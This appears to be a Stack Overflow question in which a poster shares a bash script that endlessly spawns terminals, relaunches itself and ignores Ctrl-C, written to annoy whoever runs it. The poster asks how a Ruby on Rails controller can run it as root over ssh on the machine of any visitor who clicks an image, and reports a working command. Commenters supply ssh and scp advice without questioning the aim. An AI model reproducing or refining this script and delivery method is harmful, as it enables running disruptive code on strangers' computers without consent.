0

I have this bash script that opens a terminal repeatedly with no way of closing them and keeps one after another. The goal is annoy anyone who happens to execute this program. Here's the source code of it:

#!/bin/bash
while true

do
  gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
  clear
  sleep 1
  trap '' 2
  exit
done

I have tested this and it does work the way I want it to. What I'm trying to do is execute this script on a remote host. On a ruby on rails website I have set an image to attempt to run this script by clicking on it. When someone does they will run a controller function called call_script2 and here's what I have so far:

def call_script2
   remote_ip = request.ip
   #system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
   system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
   render 'script/index'
end

What I'm trying to accomplish is to run the contents of the bash script on the remote host when they click on a certain image. As you can see I've tried uploading the script of the host under the root directory and then trying to run the bash program with no success. I'm perfectly fine using something other than SSH if this not do able.

Please feel free to share your thoughts on this and thank you for taking the time to read my post. Have a great day!

Update: I was able to accomplish this goal by using the following:

    system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")

Thank you to everyone who have commented on this post to help me out!

  • Simply `ssh remote_host script` – David C. Rankin Nov 03 '18 at 08:01
  • So when I do that I get the error "Unable to init server: Could not connect: Connection refused. Failed to parse arguments: Can not open display: TERM environment variable not set." – Shane Callaghan Nov 03 '18 at 15:24
  • You have to form the `ssh` call as required. That means `ssh user@remote_host command` where command must be available on the `remote_host`. Your `"Could not connect: Connection refused."` shows you are failing to connect to the `remote_host` at the `ssh user@remote_host` part before you even get to `command`. Make sure you can `ssh` into the host before trying to execute the `command`. You can use `ssh -vv user@remote_host` to figure out why it is failing. – David C. Rankin Nov 04 '18 at 03:30
  • Ssh is working just fine as I did test it earlier today. However, it's not working the way I though it would. I would like to send the commands over to the remote host and have it execute on the box itself instead of running on my web server. This is part of the reason I was looking at alternatives for ssh. – Shane Callaghan Nov 04 '18 at 16:26
  • Gotcha, you can always `scp` the file to the host and then invoke it with `ssh`. I don't know of anything that does `cmd "take this script from this host; execute script on remote host"`. Whatever script you are trying to run needs to be within the execution environment of the remote host and able to be invoked by its shell. Now you may be able to do something with AJAX or PHP closer than with ssh. – David C. Rankin Nov 05 '18 at 00:01

0 Answers0